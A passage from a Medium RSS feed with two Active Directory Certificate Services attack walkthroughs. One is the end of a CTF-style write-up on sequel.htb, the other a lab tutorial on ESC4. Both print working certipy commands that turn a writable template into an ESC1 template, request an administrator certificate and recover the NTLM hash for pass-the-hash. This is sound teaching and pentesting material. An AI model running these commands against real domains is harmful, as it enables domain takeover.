nxc.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*GERJBKA_OTU7Evcb4S-70A.png" /><figcaption>ACL abuse</figcaption></figure><p>Now let’s enumerate the certificate templates:</p><pre>certipy-ad find -u &#39;ca_svc@sequel.htb&#39; -p &#39;Passw0rd!&#39; -dc-ip 10.129.232.128  -vulnerable </pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*QepNiMyUpJsuRyzPQdAWag.png" /><figcaption>ADCS enum</figcaption></figure><p>Wow, a template with an <strong>ESC4 </strong>vulnerability. This is great.</p><p><strong>Note:</strong> You can get more detailed information about the ESC4 vulnerability in <a href="https://medium.com/@s4m1r/adcs-explotation-esc4-a2f9da7e3d85">another article.</a></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*bSonQItlB_QaLfuXVxc44A.png" /></figure><p>Let’s save the certificate template in its original state and make it vulnerable to <a href="https://medium.com/@s4m1r/adcs-explotation-esc1-72f9011305e8"><strong>ESC1</strong></a>:</p><pre>certipy template -u &#39;ca_svc@sequel.htb&#39; -p &#39;Passw0rd!&#39; -template DunderMifflinAuthentication  -dc-ip 10.129.232.128 -write-default-configuration</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*mM36TG8qpz5w2BY6wdMgQQ.png" /></figure><p>We confirm that Template is indeed weak against <strong>ESC1</strong>:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*R-5OI6bDm_s9Ci2Z0x1SpQ.png" /><figcaption>ESC4 to ESC1</figcaption></figure><p>We can now obtain a certificate in the name of the administrator:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*jlnXeXFFAUgE42apmMiWDw.png" /><figcaption>administrator cert</figcaption></figure><p>Using the certificate, we can send a request to the CA and retrieve the <strong>administrator’s NTLM</strong> hash.<br>At this time, you may encounter the “<strong>KRB_AP_ERR_SKEW</strong>” error, for this, it is enough to execute the two commands below.</p><pre><br>sudo timedatectl set-ntp off<br>sudo rdate -n &lt;DC_IP&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*-KxnxTvTFA6FeBna00fzgQ.png" /><figcaption>administrator’s NTLM hash</figcaption></figure><p>You can take over the administrator’s account with a<strong> Pass-The-Hass</strong> attack.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*U5KAL3ss_7mKOCycltOx8Q.png" /><figcaption>nt authority\systen shell</figcaption></figure><p>And that’s it, we’ve now obtained<strong> “nt authority\system”</strong> shell from DC.</p><p>That’s all for today. Thanks for reading, see you in the next articles.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=eb1045e629b5" width="1" height="1" alt="">]]></content:encoded>
        </item>
        <item>
            <title><![CDATA[ADCS Explotation: ESC4]]></title>
            <link>https://medium.com/@s4m1r/adcs-explotation-esc4-a2f9da7e3d85?source=rss-d41e44d03d56------2</link>
            <guid isPermaLink="false">https://medium.com/p/a2f9da7e3d85</guid>
            <category><![CDATA[cybersecurity]]></category>
            <category><![CDATA[ad-pentesting]]></category>
            <category><![CDATA[adcs-attacks]]></category>
            <category><![CDATA[esc4]]></category>
            <category><![CDATA[active-directory-security]]></category>
            <dc:creator><![CDATA[Nazarov Samir]]></dc:creator>
            <pubDate>Thu, 21 May 2026 12:10:05 GMT</pubDate>
            <atom:updated>2026-05-21T12:10:05.037Z</atom:updated>
            <content:encoded><![CDATA[<blockquote><strong>What is ESC4?</strong></blockquote><p>In an Active Directory Certificate Services (AD CS) environment, <strong>ESC4 </strong>is caused not by errors in the internal settings of the certificate templates themselves, but directly by misconfiguration of the <strong>Access Control List</strong> (ACL) of that template.The most interesting aspect of the ESC4 attack is that it is dynamic. The attacker does not corrupt the existing template, but simply temporarily transforms it into a form with the ESC1 vulnerability, finishes its work, and rolls back everything to its previous state to leave no trace.</p><p>To put it simply: If an attacker (or any standard user with low privileges) has <strong>Write/Manage rights</strong> on any certificate template in AD CS, that environment is <strong>vulnerable to the ESC4</strong> vulnerability.<br>Granting any of the following rights to a malicious or low-privileged account initiates the ESC4 attack chain:</p><ul><li><strong>FullControl</strong> (Full control over the object)</li><li><strong>WriteOwner</strong> (Change of ownership)</li><li><strong>WriteDacl</strong> (Edit who has what rights)</li><li><strong>WriteProperties</strong> (Write/update template settings)</li></ul><blockquote><strong>Steps to create a Vulnerable Certificate template</strong></blockquote><p>Run <strong>certsrv.msc</strong> on the Domain controller and go to<strong> Templates</strong> → <strong>Manage</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1007/1*czkl233gezWz2dO2JHOyRw.png" /></figure><p>Right-click on the <strong><em>“Code Signing”</em></strong> template and click <strong><em>Duplicate </em></strong>template:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*OYw2Yc3lCo4n7QUMidIp3Q.png" /></figure><p>Go to the <strong>General </strong>tab and change the name of the certificate template.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/493/1*c0gtARTHi-N0nm3ZhK5bZg.png" /></figure><ul><li>Click <strong>Add</strong> → Type Domain Users → Click OK</li><li>Select Domain Users</li><li>Check → Write</li></ul><figure><img alt="" src="https://cdn-images-1.medium.com/max/479/1*pzrR7oe0-5SQCy41g-gO7w.png" /></figure><ul><li>Go to the <strong>Extensions</strong> tab</li><li>Select <strong>Application Policies</strong> → Click <strong>Edit</strong></li></ul><p>Then we select and add <strong>Server Authentication</strong>.</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/500/1*N2fvxRz2T-A7PpEN_HNcXA.png" /></figure><p>Finally, we publish the certificate to make it active.</p><p>Right click <strong>Certificate Templates → New → Certificate template to issue</strong></p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*CspAkZGu5s4Z3fP-uyhDdA.png" /></figure><blockquote><strong>Enumeration &amp; Explotation process</strong></blockquote><p>Identifying a vulnerable template:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*V9lqVn2CNrTY1OondTbCXw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/958/1*igpgmZDLjN6BMWMTsF5tuA.png" /></figure><p>It then saves the certificate template in its original state, making it vulnerable to ESC1:</p><pre>certipy template -u &#39;snazarov@cyberlab.in&#39; -p &#39;Passw0rd!&#39; -template Vuln_ESC4_copy -dc-ip 10.10.10.10 -write-default-configuration</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*8M7BPMpa-kQyEgoZM89KWg.png" /></figure><p>We confirm that Template is indeed weak against ESC1:</p><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*eE2NqMO9tF3Z-N1ic8dMDw.png" /></figure><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*5Dr6xkTRxwFCZfnGKAdh8g.png" /></figure><p>ESC1 attack:</p><pre>certipy-ad req -u &#39;snazarov@cyberlab.in&#39; -p &#39;Passw0rd!&#39; -dc-ip 10.10.10.10  -ca CYBERLAB-CA -target &#39;dc-cyberlab.cyberlab.in&#39; -template &#39;Vuln_ESC4_copy&#39; -upn &#39;administrator@cyberlab.in&#39;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*y_Tr23JIXd39Ez4KkdrbCw.png" /></figure><p>After obtaining the administrator certificate, we can obtain the administrator’s NTLM hash:</p><pre>certipy-ad auth -pfx administrator.pfx  -dc-ip 10.10.10.10 </pre><p>If you encounter this “KRB_AP_ERR_SKEW” error, run the following commands in the terminal:</p><pre><br>sudo timedatectl set-ntp off<br>sudo rdate -n &lt;dc_ip&gt;</pre><figure><img alt="" src="https://cdn-images-1.medium.com/max/1024/1*yX5-N35B6CYQHD4qinhKXg.png" /></figure><p>That’s all for today. See you in the next articles.</p><img src="https://medium.com/_/stat?event=post.clientViewed&referrerSource=full_rss&postId=a2f9da7e3d85" width="1" height="1" alt="">]]></content:encoded>
        </item>
    </channel>
</rss>